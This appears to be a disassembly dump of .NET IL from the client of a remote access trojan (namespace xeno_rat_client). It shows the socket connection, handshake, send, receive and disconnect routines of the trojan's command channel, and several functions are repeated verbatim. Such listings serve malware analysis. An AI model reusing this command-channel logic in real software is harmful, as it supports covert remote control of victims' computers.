0000409dldflda <>u__2
000040a2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000040a8ldarg.0
000040a9ldc.i4.m1
000040aadup
000040abstloc.0
000040acstfld <>1__state
000040b1ldloca.s 5
000040b3call GetResult
000040b8brtrue.s IL_0129
000040baldc.i4.0
000040bbstloc.2
000040bcleave IL_0376
000040c1ldloc.1
000040c2ldfld sock
000040c7callvirt ReceiveAsync
000040cccallvirt GetAwaiter
000040d1stloc.s 4
000040d3ldloca.s 4
000040d5call get_IsCompleted
000040dabrtrue.s IL_0185
000040dcldarg.0
000040ddldc.i4.2
000040dedup
000040dfstloc.0
000040e0stfld <>1__state
000040e5ldarg.0
000040e6ldloc.s 4
000040e8stfld <>u__1
000040edldarg.0
000040eeldflda <>t__builder
000040f3ldloca.s 4
000040f5ldarg.0
000040f6call 0x2B000025
000040fbleave IL_0391
00004100ldarg.0
00004101ldfld <>u__1
00004106stloc.s 4
00004108ldarg.0
00004109ldflda <>u__1
0000410einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004114ldarg.0
00004115ldc.i4.m1
00004116dup
00004117stloc.0
00004118stfld <>1__state
0000411dldloca.s 4
0000411fcall GetResult
00004124stloc.3
00004125ldloc.1
00004126ldfld sock
0000412bcallvirt ResetRecvTimeout
00004130ldloc.1
00004131ldarg.0
00004132ldfld <comp>5__2
00004137ldloc.3
00004138call ByteArrayCompare
0000413dbrfalse IL_034d
00004142ldloc.1
00004143ldfld sock
00004148ldarg.0
00004149ldfld type
0000414ecallvirt IntToBytes
00004153stloc.s 6
00004155ldloc.1
00004156ldfld sock
0000415bldloc.s 6
0000415dcallvirt SendAsync
00004162callvirt GetAwaiter
00004167stloc.s 5
00004169ldloca.s 5
0000416bcall get_IsCompleted
00004170brtrue.s IL_021b
00004172ldarg.0
00004173ldc.i4.3
00004174dup
00004175stloc.0
00004176stfld <>1__state
0000417bldarg.0
0000417cldloc.s 5
0000417estfld <>u__2
00004183ldarg.0
00004184ldflda <>t__builder
00004189ldloca.s 5
0000418bldarg.0
0000418ccall 0x2B000026
00004191leave IL_0391
00004196ldarg.0
00004197ldfld <>u__2
0000419cstloc.s 5
0000419eldarg.0
0000419fldflda <>u__2
000041a4initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000041aaldarg.0
000041abldc.i4.m1
000041acdup
000041adstloc.0
000041aestfld <>1__state
000041b3ldloca.s 5
000041b5call GetResult
000041babrtrue.s IL_022b
000041bcldc.i4.0
000041bdstloc.2
000041beleave IL_0376
000041c3ldarg.0
000041c4ldfld type
000041c9brtrue IL_02b6
000041celdloc.1
000041cfldfld sock
000041d4callvirt ReceiveAsync
000041d9callvirt GetAwaiter
000041destloc.s 4
000041e0ldloca.s 4
000041e2call get_IsCompleted
000041e7brtrue.s IL_0292
000041e9ldarg.0
000041ealdc.i4.4
000041ebdup
000041ecstloc.0
000041edstfld <>1__state
000041f2ldarg.0
000041f3ldloc.s 4
000041f5stfld <>u__1
000041faldarg.0
000041fbldflda <>t__builder
00004200ldloca.s 4
00004202ldarg.0
00004203call 0x2B000025
00004208leave IL_0391
0000420dldarg.0
0000420eldfld <>u__1
00004213stloc.s 4
00004215ldarg.0
00004216ldflda <>u__1
0000421binitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004221ldarg.0
00004222ldc.i4.m1
00004223dup
00004224stloc.0
00004225stfld <>1__state
0000422aldloca.s 4
0000422ccall GetResult
00004231stloc.3
00004232ldloc.1
00004233ldfld sock
00004238ldloc.3
00004239ldc.i4.0
0000423acallvirt BytesToInt
0000423fstloc.s 7
00004241ldloc.1
00004242ldloc.s 7
00004244stfld ID
00004249br IL_033d
0000424eldloc.1
0000424fldarg.0
00004250ldfld id
00004255stfld ID
0000425aldloc.1
0000425bldfld sock
00004260ldarg.0
00004261ldfld id
00004266callvirt IntToBytes
0000426bstloc.s 8
0000426dldloc.1
0000426eldfld sock
00004273ldloc.s 8
00004275callvirt SendAsync
0000427acallvirt GetAwaiter
0000427fstloc.s 5
00004281ldloca.s 5
00004283call get_IsCompleted
00004288brtrue.s IL_0330
0000428aldarg.0
0000428bldc.i4.5
0000428cdup
0000428dstloc.0
0000428estfld <>1__state
00004293ldarg.0
00004294ldloc.s 5
00004296stfld <>u__2
0000429bldarg.0
0000429cldflda <>t__builder
000042a1ldloca.s 5
000042a3ldarg.0
000042a4call 0x2B000026
000042a9leave.s IL_0391
000042abldarg.0
000042acldfld <>u__2
000042b1stloc.s 5
000042b3ldarg.0
000042b4ldflda <>u__2
000042b9initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000042bfldarg.0
000042c0ldc.i4.m1
000042c1dup
000042c2stloc.0
000042c3stfld <>1__state
000042c8ldloca.s 5
000042cacall GetResult
000042cfbrtrue.s IL_033d
000042d1ldc.i4.0
000042d2stloc.2
000042d3leave.s IL_0376
000042d5ldloc.1
000042d6ldarg.0
000042d7ldfld type
000042dcstfld SockType
000042e1ldc.i4.1
000042e2stloc.2
000042e3leave.s IL_0376
000042e5leave.s IL_0352
000042e7pop
000042e8leave.s IL_0352
000042ealdc.i4.0
000042ebstloc.2
000042ecleave.s IL_0376
000042eestloc.s 9
000042f0ldarg.0
000042f1ldc.i4.s -2
000042f3stfld <>1__state
000042f8ldarg.0
000042f9ldnull
000042fastfld <comp>5__2
000042ffldarg.0
00004300ldflda <>t__builder
00004305ldloc.s 9
00004307call SetException
0000430cleave.s IL_0391
0000430eldarg.0
0000430fldc.i4.s -2
00004311stfld <>1__state
00004316ldarg.0
00004317ldnull
00004318stfld <comp>5__2
0000431dldarg.0
0000431eldflda <>t__builder
00004323ldloc.2
00004324call SetResult
00004329ret
00003f98
0000436c
0000436c<ConnectSubSockAsync>d__11::MoveNext:
0000436cldarg.0
0000436dldfld <>1__state
00004372stloc.0
00004373ldarg.0
00004374ldfld <>4__this
00004379stloc.1
0000437aldloc.0
0000437bldc.i4.3
0000437cble.un.s IL_001b
0000437eldloc.0
0000437fldc.i4.4
00004380beq IL_0278
00004385ldc.i4.0
00004386stloc.3
00004387nop
00004388ldloc.0
00004389switch (IL_008f, IL_010f, IL_0190, IL_01fd)
0000439eldarg.0
0000439fldc.i4.2
000043a0ldc.i4.1
000043a1ldc.i4.6
000043a2newobj .ctor
000043a7stfld <socket>5__2
000043acldarg.0
000043adldfld <socket>5__2
000043b2ldloc.1
000043b3ldfld sock
000043b8ldfld sock
000043bdcallvirt get_RemoteEndPoint
000043c2call ConnectAsync
000043c7callvirt GetAwaiter
000043ccstloc.s 6
000043celdloca.s 6
000043d0call get_IsCompleted
000043d5brtrue.s IL_00ac
000043d7ldarg.0
000043d8ldc.i4.0
000043d9dup
000043dastloc.0
000043dbstfld <>1__state
000043e0ldarg.0
000043e1ldloc.s 6
000043e3stfld <>u__1
000043e8ldarg.0
000043e9ldflda <>t__builder
000043eeldloca.s 6
000043f0ldarg.0
000043f1call 0x2B000027
000043f6leave IL_02ce
000043fbldarg.0
000043fcldfld <>u__1
00004401stloc.s 6
00004403ldarg.0
00004404ldflda <>u__1
00004409initobj System.Runtime.CompilerServices.TaskAwaiter
0000440fldarg.0
00004410ldc.i4.m1
00004411dup
00004412stloc.0
00004413stfld <>1__state
00004418ldloca.s 6
0000441acall GetResult
0000441fldarg.0
00004420ldfld <socket>5__2
00004425ldloc.1
00004426ldfld sock
0000442bldfld EncryptionKey
00004430ldarg.0
00004431ldfld type
00004436ldloc.1
00004437ldfld ID
0000443cldarg.0
0000443dldfld OnDisconnect
00004442call ConnectAndSetupAsync
00004447callvirt GetAwaiter
0000444cstloc.s 8
0000444eldloca.s 8
00004450call get_IsCompleted
00004455brtrue.s IL_012c
00004457ldarg.0
00004458ldc.i4.1
00004459dup
0000445astloc.0
0000445bstfld <>1__state
00004460ldarg.0
00004461ldloc.s 8
00004463stfld <>u__2
00004468ldarg.0
00004469ldflda <>t__builder
0000446eldloca.s 8
00004470ldarg.0
00004471call 0x2B000028
00004476leave IL_02ce
0000447bldarg.0
0000447cldfld <>u__2
00004481stloc.s 8
00004483ldarg.0
00004484ldflda <>u__2
00004489initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
0000448fldarg.0
00004490ldc.i4.m1
00004491dup
00004492stloc.0
00004493stfld <>1__state
00004498ldloca.s 8
0000449acall GetResult
0000449fstloc.s 7
000044a1ldarg.0
000044a2ldloc.s 7
000044a4stfld <sub>5__3
000044a9ldc.i4.1
000044aanewarr System.Byte
000044afdup
000044b0ldc.i4.0
000044b1ldarg.0
000044b2ldfld retid
000044b7conv.u1
000044b8stelem.i1
000044b9stloc.s 4
000044bbldarg.0
000044bcldfld <sub>5__3
000044c1ldloc.s 4
000044c3callvirt SendAsync
000044c8callvirt GetAwaiter
000044cdstloc.s 9
000044cfldloca.s 9
000044d1call get_IsCompleted
000044d6brtrue.s IL_01ad
000044d8ldarg.0
000044d9ldc.i4.2
000044dadup
000044dbstloc.0
000044dcstfld <>1__state
000044e1ldarg.0
000044e2ldloc.s 9
000044e4stfld <>u__3
000044e9ldarg.0
000044ealdflda <>t__builder
000044efldloca.s 9
000044f1ldarg.0
000044f2call 0x2B000029
000044f7leave IL_02ce
000044fcldarg.0
000044fdldfld <>u__3
00004502stloc.s 9
00004504ldarg.0
00004505ldflda <>u__3
0000450ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004510ldarg.0
00004511ldc.i4.m1
00004512dup
00004513stloc.0
00004514stfld <>1__state
00004519ldloca.s 9
0000451bcall GetResult
00004520pop
00004521ldc.i4.1
00004522newarr System.Byte
00004527dup
00004528ldc.i4.0
00004529ldc.i4.1
0000452astelem.i1
0000452bstloc.s 5
0000452dldloc.1
0000452eldloc.s 5
00004530call SendAsync
00004535callvirt GetAwaiter
0000453astloc.s 9
0000453cldloca.s 9
0000453ecall get_IsCompleted
00004543brtrue.s IL_021a
00004545ldarg.0
00004546ldc.i4.3
00004547dup
00004548stloc.0
00004549stfld <>1__state
0000454eldarg.0
0000454fldloc.s 9
00004551stfld <>u__3
00004556ldarg.0
00004557ldflda <>t__builder
0000455cldloca.s 9
0000455eldarg.0
0000455fcall 0x2B000029
00004564leave IL_02ce
00004569ldarg.0
0000456aldfld <>u__3
0000456fstloc.s 9
00004571ldarg.0
00004572ldflda <>u__3
00004577initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000457dldarg.0
0000457eldc.i4.m1
0000457fdup
00004580stloc.0
00004581stfld <>1__state
00004586ldloca.s 9
00004588call GetResult
0000458dpop
0000458eldarg.0
0000458fldfld <sub>5__3
00004594stloc.2
00004595leave IL_02ba
0000459apop
0000459bldc.i4.1
0000459cstloc.3
0000459dleave.s IL_0233
0000459fldloc.3
000045a0ldc.i4.1
000045a1bne.un.s IL_029f
000045a3ldc.i4.1
000045a4newarr System.Byte
000045a9stloc.s 10
000045abldloc.1
000045acldloc.s 10
000045aecall SendAsync
000045b3callvirt GetAwaiter
000045b8stloc.s 9
000045baldloca.s 9
000045bccall get_IsCompleted
000045c1brtrue.s IL_0295
000045c3ldarg.0
000045c4ldc.i4.4
000045c5dup
000045c6stloc.0
000045c7stfld <>1__state
000045ccldarg.0
000045cdldloc.s 9
000045cfstfld <>u__3
000045d4ldarg.0
000045d5ldflda <>t__builder
000045daldloca.s 9
000045dcldarg.0
000045ddcall 0x2B000029
000045e2leave.s IL_02ce
000045e4ldarg.0
000045e5ldfld <>u__3
000045eastloc.s 9
000045ecldarg.0
000045edldflda <>u__3
000045f2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000045f8ldarg.0
000045f9ldc.i4.m1
000045fadup
000045fbstloc.0
000045fcstfld <>1__state
00004601ldloca.s 9
00004603call GetResult
00004608pop
00004609ldnull
0000460astloc.2
0000460bleave.s IL_02ba
0000460dstloc.s 11
0000460fldarg.0
00004610ldc.i4.s -2
00004612stfld <>1__state
00004617ldarg.0
00004618ldflda <>t__builder
0000461dldloc.s 11
0000461fcall SetException
00004624leave.s IL_02ce
00004626ldarg.0
00004627ldc.i4.s -2
00004629stfld <>1__state
0000462eldarg.0
0000462fldflda <>t__builder
00004634ldloc.2
00004635call SetResult
0000463aret
0000436c
0000436c<ConnectSubSockAsync>d__11::MoveNext:
0000436cldarg.0
0000436dldfld <>1__state
00004372stloc.0
00004373ldarg.0
00004374ldfld <>4__this
00004379stloc.1
0000437aldloc.0
0000437bldc.i4.3
0000437cble.un.s IL_001b
0000437eldloc.0
0000437fldc.i4.4
00004380beq IL_0278
00004385ldc.i4.0
00004386stloc.3
00004387nop
00004388ldloc.0
00004389switch (IL_008f, IL_010f, IL_0190, IL_01fd)
0000439eldarg.0
0000439fldc.i4.2
000043a0ldc.i4.1
000043a1ldc.i4.6
000043a2newobj .ctor
000043a7stfld <socket>5__2
000043acldarg.0
000043adldfld <socket>5__2
000043b2ldloc.1
000043b3ldfld sock
000043b8ldfld sock
000043bdcallvirt get_RemoteEndPoint
000043c2call ConnectAsync
000043c7callvirt GetAwaiter
000043ccstloc.s 6
000043celdloca.s 6
000043d0call get_IsCompleted
000043d5brtrue.s IL_00ac
000043d7ldarg.0
000043d8ldc.i4.0
000043d9dup
000043dastloc.0
000043dbstfld <>1__state
000043e0ldarg.0
000043e1ldloc.s 6
000043e3stfld <>u__1
000043e8ldarg.0
000043e9ldflda <>t__builder
000043eeldloca.s 6
000043f0ldarg.0
000043f1call 0x2B000027
000043f6leave IL_02ce
000043fbldarg.0
000043fcldfld <>u__1
00004401stloc.s 6
00004403ldarg.0
00004404ldflda <>u__1
00004409initobj System.Runtime.CompilerServices.TaskAwaiter
0000440fldarg.0
00004410ldc.i4.m1
00004411dup
00004412stloc.0
00004413stfld <>1__state
00004418ldloca.s 6
0000441acall GetResult
0000441fldarg.0
00004420ldfld <socket>5__2
00004425ldloc.1
00004426ldfld sock
0000442bldfld EncryptionKey
00004430ldarg.0
00004431ldfld type
00004436ldloc.1
00004437ldfld ID
0000443cldarg.0
0000443dldfld OnDisconnect
00004442call ConnectAndSetupAsync
00004447callvirt GetAwaiter
0000444cstloc.s 8
0000444eldloca.s 8
00004450call get_IsCompleted
00004455brtrue.s IL_012c
00004457ldarg.0
00004458ldc.i4.1
00004459dup
0000445astloc.0
0000445bstfld <>1__state
00004460ldarg.0
00004461ldloc.s 8
00004463stfld <>u__2
00004468ldarg.0
00004469ldflda <>t__builder
0000446eldloca.s 8
00004470ldarg.0
00004471call 0x2B000028
00004476leave IL_02ce
0000447bldarg.0
0000447cldfld <>u__2
00004481stloc.s 8
00004483ldarg.0
00004484ldflda <>u__2
00004489initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
0000448fldarg.0
00004490ldc.i4.m1
00004491dup
00004492stloc.0
00004493stfld <>1__state
00004498ldloca.s 8
0000449acall GetResult
0000449fstloc.s 7
000044a1ldarg.0
000044a2ldloc.s 7
000044a4stfld <sub>5__3
000044a9ldc.i4.1
000044aanewarr System.Byte
000044afdup
000044b0ldc.i4.0
000044b1ldarg.0
000044b2ldfld retid
000044b7conv.u1
000044b8stelem.i1
000044b9stloc.s 4
000044bbldarg.0
000044bcldfld <sub>5__3
000044c1ldloc.s 4
000044c3callvirt SendAsync
000044c8callvirt GetAwaiter
000044cdstloc.s 9
000044cfldloca.s 9
000044d1call get_IsCompleted
000044d6brtrue.s IL_01ad
000044d8ldarg.0
000044d9ldc.i4.2
000044dadup
000044dbstloc.0
000044dcstfld <>1__state
000044e1ldarg.0
000044e2ldloc.s 9
000044e4stfld <>u__3
000044e9ldarg.0
000044ealdflda <>t__builder
000044efldloca.s 9
000044f1ldarg.0
000044f2call 0x2B000029
000044f7leave IL_02ce
000044fcldarg.0
000044fdldfld <>u__3
00004502stloc.s 9
00004504ldarg.0
00004505ldflda <>u__3
0000450ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004510ldarg.0
00004511ldc.i4.m1
00004512dup
00004513stloc.0
00004514stfld <>1__state
00004519ldloca.s 9
0000451bcall GetResult
00004520pop
00004521ldc.i4.1
00004522newarr System.Byte
00004527dup
00004528ldc.i4.0
00004529ldc.i4.1
0000452astelem.i1
0000452bstloc.s 5
0000452dldloc.1
0000452eldloc.s 5
00004530call SendAsync
00004535callvirt GetAwaiter
0000453astloc.s 9
0000453cldloca.s 9
0000453ecall get_IsCompleted
00004543brtrue.s IL_021a
00004545ldarg.0
00004546ldc.i4.3
00004547dup
00004548stloc.0
00004549stfld <>1__state
0000454eldarg.0
0000454fldloc.s 9
00004551stfld <>u__3
00004556ldarg.0
00004557ldflda <>t__builder
0000455cldloca.s 9
0000455eldarg.0
0000455fcall 0x2B000029
00004564leave IL_02ce
00004569ldarg.0
0000456aldfld <>u__3
0000456fstloc.s 9
00004571ldarg.0
00004572ldflda <>u__3
00004577initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000457dldarg.0
0000457eldc.i4.m1
0000457fdup
00004580stloc.0
00004581stfld <>1__state
00004586ldloca.s 9
00004588call GetResult
0000458dpop
0000458eldarg.0
0000458fldfld <sub>5__3
00004594stloc.2
00004595leave IL_02ba
0000459apop
0000459bldc.i4.1
0000459cstloc.3
0000459dleave.s IL_0233
0000459fldloc.3
000045a0ldc.i4.1
000045a1bne.un.s IL_029f
000045a3ldc.i4.1
000045a4newarr System.Byte
000045a9stloc.s 10
000045abldloc.1
000045acldloc.s 10
000045aecall SendAsync
000045b3callvirt GetAwaiter
000045b8stloc.s 9
000045baldloca.s 9
000045bccall get_IsCompleted
000045c1brtrue.s IL_0295
000045c3ldarg.0
000045c4ldc.i4.4
000045c5dup
000045c6stloc.0
000045c7stfld <>1__state
000045ccldarg.0
000045cdldloc.s 9
000045cfstfld <>u__3
000045d4ldarg.0
000045d5ldflda <>t__builder
000045daldloca.s 9
000045dcldarg.0
000045ddcall 0x2B000029
000045e2leave.s IL_02ce
000045e4ldarg.0
000045e5ldfld <>u__3
000045eastloc.s 9
000045ecldarg.0
000045edldflda <>u__3
000045f2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000045f8ldarg.0
000045f9ldc.i4.m1
000045fadup
000045fbstloc.0
000045fcstfld <>1__state
00004601ldloca.s 9
00004603call GetResult
00004608pop
00004609ldnull
0000460astloc.2
0000460bleave.s IL_02ba
0000460dstloc.s 11
0000460fldarg.0
00004610ldc.i4.s -2
00004612stfld <>1__state
00004617ldarg.0
00004618ldflda <>t__builder
0000461dldloc.s 11
0000461fcall SetException
00004624leave.s IL_02ce
00004626ldarg.0
00004627ldc.i4.s -2
00004629stfld <>1__state
0000462eldarg.0
0000462fldflda <>t__builder
00004634ldloc.2
00004635call SetResult
0000463aret
0000436c
0000467c
0000467c<Disconnect>d__10::MoveNext:
0000467cldarg.0
0000467dldfld <>1__state
00004682stloc.0
00004683ldarg.0
00004684ldfld <>4__this
00004689stloc.1
0000468aldloc.0
0000468bpop
0000468cnop
0000468dldloc.0
0000468ebrfalse.s IL_008e
00004690ldloc.1
00004691ldfld sock
00004696ldfld sock
0000469bbrfalse IL_00b1
000046a0call get_Factory
000046a5ldloc.1
000046a6ldfld sock
000046abldfld sock
000046b0ldftn BeginDisconnect
000046b6newobj .ctor
000046bbldloc.1
000046bcldfld sock
000046c1ldfld sock
000046c6ldftn EndDisconnect
000046ccnewobj .ctor
000046d1ldc.i4.1
000046d2ldnull
000046d3callvirt 0x2B00002A
000046d8callvirt GetAwaiter
000046ddstloc.3
000046deldloca.s 3
000046e0call get_IsCompleted
000046e5brtrue.s IL_00aa
000046e7ldarg.0
000046e8ldc.i4.0
000046e9dup
000046eastloc.0
000046ebstfld <>1__state
000046f0ldarg.0
000046f1ldloc.3
000046f2stfld <>u__1
000046f7ldarg.0
000046f8ldflda <>t__builder
000046fdldloca.s 3
000046ffldarg.0
00004700call 0x2B00002B
00004705leave IL_017b
0000470aldarg.0
0000470bldfld <>u__1
00004710stloc.3
00004711ldarg.0
00004712ldflda <>u__1
00004717initobj System.Runtime.CompilerServices.TaskAwaiter
0000471dldarg.0
0000471eldc.i4.m1
0000471fdup
00004720stloc.0
00004721stfld <>1__state
00004726ldloca.s 3
00004728call GetResult
0000472dleave.s IL_00cd
0000472fpop
00004730ldloc.1
00004731ldfld sock
00004736ldfld sock
0000473bdup
0000473cbrtrue.s IL_00c5
0000473epop
0000473fbr.s IL_00cb
00004741ldc.i4.0
00004742call Close
00004747leave.s IL_00cd
00004749ldloc.1
0000474aldfld sock
0000474fldfld sock
00004754dup
00004755brtrue.s IL_00de
00004757pop
00004758br.s IL_00e3
0000475acall Dispose
0000475fldloc.1
00004760ldfld subNodes
00004765call 0x2B00002C
0000476astloc.2
0000476bldloc.1
0000476cldfld subNodes
00004771callvirt Clear
00004776ldloc.2
00004777callvirt GetEnumerator
0000477cstloc.s 4
0000477ebr.s IL_0116
00004780ldloca.s 4
00004782call get_Current
00004787dup
00004788brtrue.s IL_0111
0000478apop
0000478bbr.s IL_0116
0000478dcall Disconnect
00004792ldloca.s 4
00004794call MoveNext
00004799brtrue.s IL_0104
0000479bleave.s IL_0133
0000479dldloc.0
0000479eldc.i4.0
0000479fbge.s IL_0132
000047a1ldloca.s 4
000047a3constrained. valuetype Enumerator<class xeno_rat_client.Node>
000047a9callvirt Dispose
000047aeendfinally
000047afldloc.2
000047b0callvirt Clear
000047b5ldloc.1
000047b6ldfld OnDisconnect
000047bbbrfalse.s IL_014d
000047bdldloc.1
000047beldfld OnDisconnect
000047c3ldloc.1
000047c4callvirt Invoke
000047c9leave.s IL_0168
000047cbstloc.s 5
000047cdldarg.0
000047celdc.i4.s -2
000047d0stfld <>1__state
000047d5ldarg.0
000047d6ldflda <>t__builder
000047dbldloc.s 5
000047ddcall SetException
000047e2leave.s IL_017b
000047e4ldarg.0
000047e5ldc.i4.s -2
000047e7stfld <>1__state
000047ecldarg.0
000047edldflda <>t__builder
000047f2call SetResult
000047f7ret
0000467c
0000467c<Disconnect>d__10::MoveNext:
0000467cldarg.0
0000467dldfld <>1__state
00004682stloc.0
00004683ldarg.0
00004684ldfld <>4__this
00004689stloc.1
0000468aldloc.0
0000468bpop
0000468cnop
0000468dldloc.0
0000468ebrfalse.s IL_008e
00004690ldloc.1
00004691ldfld sock
00004696ldfld sock
0000469bbrfalse IL_00b1
000046a0call get_Factory
000046a5ldloc.1
000046a6ldfld sock
000046abldfld sock
000046b0ldftn BeginDisconnect
000046b6newobj .ctor
000046bbldloc.1
000046bcldfld sock
000046c1ldfld sock
000046c6ldftn EndDisconnect
000046ccnewobj .ctor
000046d1ldc.i4.1
000046d2ldnull
000046d3callvirt 0x2B00002A
000046d8callvirt GetAwaiter
000046ddstloc.3
000046deldloca.s 3
000046e0call get_IsCompleted
000046e5brtrue.s IL_00aa
000046e7ldarg.0
000046e8ldc.i4.0
000046e9dup
000046eastloc.0
000046ebstfld <>1__state
000046f0ldarg.0
000046f1ldloc.3
000046f2stfld <>u__1
000046f7ldarg.0
000046f8ldflda <>t__builder
000046fdldloca.s 3
000046ffldarg.0
00004700call 0x2B00002B
00004705leave IL_017b
0000470aldarg.0
0000470bldfld <>u__1
00004710stloc.3
00004711ldarg.0
00004712ldflda <>u__1
00004717initobj System.Runtime.CompilerServices.TaskAwaiter
0000471dldarg.0
0000471eldc.i4.m1
0000471fdup
00004720stloc.0
00004721stfld <>1__state
00004726ldloca.s 3
00004728call GetResult
0000472dleave.s IL_00cd
0000472fpop
00004730ldloc.1
00004731ldfld sock
00004736ldfld sock
0000473bdup
0000473cbrtrue.s IL_00c5
0000473epop
0000473fbr.s IL_00cb
00004741ldc.i4.0
00004742call Close
00004747leave.s IL_00cd
00004749ldloc.1
0000474aldfld sock
0000474fldfld sock
00004754dup
00004755brtrue.s IL_00de
00004757pop
00004758br.s IL_00e3
0000475acall Dispose
0000475fldloc.1
00004760ldfld subNodes
00004765call 0x2B00002C
0000476astloc.2
0000476bldloc.1
0000476cldfld subNodes
00004771callvirt Clear
00004776ldloc.2
00004777callvirt GetEnumerator
0000477cstloc.s 4
0000477ebr.s IL_0116
00004780ldloca.s 4
00004782call get_Current
00004787dup
00004788brtrue.s IL_0111
0000478apop
0000478bbr.s IL_0116
0000478dcall Disconnect
00004792ldloca.s 4
00004794call MoveNext
00004799brtrue.s IL_0104
0000479bleave.s IL_0133
0000479dldloc.0
0000479eldc.i4.0
0000479fbge.s IL_0132
000047a1ldloca.s 4
000047a3constrained. valuetype Enumerator<class xeno_rat_client.Node>
000047a9callvirt Dispose
000047aeendfinally
000047afldloc.2
000047b0callvirt Clear
000047b5ldloc.1
000047b6ldfld OnDisconnect
000047bbbrfalse.s IL_014d
000047bdldloc.1
000047beldfld OnDisconnect
000047c3ldloc.1
000047c4callvirt Invoke
000047c9leave.s IL_0168
000047cbstloc.s 5
000047cdldarg.0
000047celdc.i4.s -2
000047d0stfld <>1__state
000047d5ldarg.0
000047d6ldflda <>t__builder
000047dbldloc.s 5
000047ddcall SetException
000047e2leave.s IL_017b
000047e4ldarg.0
000047e5ldc.i4.s -2
000047e7stfld <>1__state
000047ecldarg.0
000047edldflda <>t__builder
000047f2call SetResult
000047f7ret
0000467c
00004850
00004850<ReceiveAsync>d__13::MoveNext:
00004850ldarg.0
00004851ldfld <>1__state
00004856stloc.0
00004857ldarg.0
00004858ldfld <>4__this
0000485dstloc.1
0000485eldloc.0
0000485fbrfalse.s IL_004d
00004861ldloc.1
00004862ldfld sock
00004867callvirt ReceiveAsync
0000486ccallvirt GetAwaiter
00004871stloc.s 4
00004873ldloca.s 4
00004875call get_IsCompleted
0000487abrtrue.s IL_006a
0000487cldarg.0
0000487dldc.i4.0
0000487edup
0000487fstloc.0
00004880stfld <>1__state
00004885ldarg.0
00004886ldloc.s 4
00004888stfld <>u__1
0000488dldarg.0
0000488eldflda <>t__builder
00004893ldloca.s 4
00004895ldarg.0
00004896call 0x2B00002D
0000489bleave.s IL_00b0
0000489dldarg.0
0000489eldfld <>u__1
000048a3stloc.s 4
000048a5ldarg.0
000048a6ldflda <>u__1
000048abinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000048b1ldarg.0
000048b2ldc.i4.m1
000048b3dup
000048b4stloc.0
000048b5stfld <>1__state
000048baldloca.s 4
000048bccall GetResult
000048c1stloc.3
000048c2ldloc.3
000048c3brtrue.s IL_007f
000048c5ldloc.1
000048c6call Disconnect
000048cbldnull
000048ccstloc.2
000048cdleave.s IL_009c
000048cfldloc.3
000048d0stloc.2
000048d1leave.s IL_009c
000048d3stloc.s 5
000048d5ldarg.0
000048d6ldc.i4.s -2
000048d8stfld <>1__state
000048ddldarg.0
000048deldflda <>t__builder
000048e3ldloc.s 5
000048e5call SetException
000048ealeave.s IL_00b0
000048ecldarg.0
000048edldc.i4.s -2
000048efstfld <>1__state
000048f4ldarg.0
000048f5ldflda <>t__builder
000048faldloc.2
000048fbcall SetResult
00004900ret
00004850
00004850<ReceiveAsync>d__13::MoveNext:
00004850ldarg.0
00004851ldfld <>1__state
00004856stloc.0
00004857ldarg.0
00004858ldfld <>4__this
0000485dstloc.1
0000485eldloc.0
0000485fbrfalse.s IL_004d
00004861ldloc.1
00004862ldfld sock
00004867callvirt ReceiveAsync
0000486ccallvirt GetAwaiter
00004871stloc.s 4
00004873ldloca.s 4
00004875call get_IsCompleted
0000487abrtrue.s IL_006a
0000487cldarg.0
0000487dldc.i4.0
0000487edup
0000487fstloc.0
00004880stfld <>1__state
00004885ldarg.0
00004886ldloc.s 4
00004888stfld <>u__1
0000488dldarg.0
0000488eldflda <>t__builder
00004893ldloca.s 4
00004895ldarg.0
00004896call 0x2B00002D
0000489bleave.s IL_00b0
0000489dldarg.0
0000489eldfld <>u__1
000048a3stloc.s 4
000048a5ldarg.0
000048a6ldflda <>u__1
000048abinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000048b1ldarg.0
000048b2ldc.i4.m1
000048b3dup
000048b4stloc.0
000048b5stfld <>1__state
000048baldloca.s 4
000048bccall GetResult
000048c1stloc.3
000048c2ldloc.3
000048c3brtrue.s IL_007f
000048c5ldloc.1
000048c6call Disconnect
000048cbldnull
000048ccstloc.2
000048cdleave.s IL_009c
000048cfldloc.3
000048d0stloc.2
000048d1leave.s IL_009c
000048d3stloc.s 5
000048d5ldarg.0
000048d6ldc.i4.s -2
000048d8stfld <>1__state
000048ddldarg.0
000048deldflda <>t__builder
000048e3ldloc.s 5
000048e5call SetException
000048ealeave.s IL_00b0
000048ecldarg.0
000048edldc.i4.s -2
000048efstfld <>1__state
000048f4ldarg.0
000048f5ldflda <>t__builder
000048faldloc.2
000048fbcall SetResult
00004900ret
00004850
00004920
00004920<SendAsync>d__14::MoveNext:
00004920ldarg.0
00004921ldfld <>1__state
00004926stloc.0
00004927ldarg.0
00004928ldfld <>4__this
0000492dstloc.1
0000492eldloc.0
0000492fbrfalse.s IL_0051
00004931ldloc.1
00004932ldfld sock
00004937ldarg.0
00004938ldfld data
0000493dcallvirt SendAsync
00004942callvirt GetAwaiter
00004947stloc.3
00004948ldloca.s 3
0000494acall get_IsCompleted
0000494fbrtrue.s IL_006d
00004951ldarg.0
00004952ldc.i4.0
00004953dup
00004954stloc.0
00004955stfld <>1__state
0000495aldarg.0
0000495bldloc.3
0000495cstfld <>u__1
00004961ldarg.0
00004962ldflda <>t__builder
00004967ldloca.s 3
00004969ldarg.0
0000496acall 0x2B00002E
0000496fleave.s IL_00b1
00004971ldarg.0
00004972ldfld <>u__1
00004977stloc.3
00004978ldarg.0
00004979ldflda <>u__1
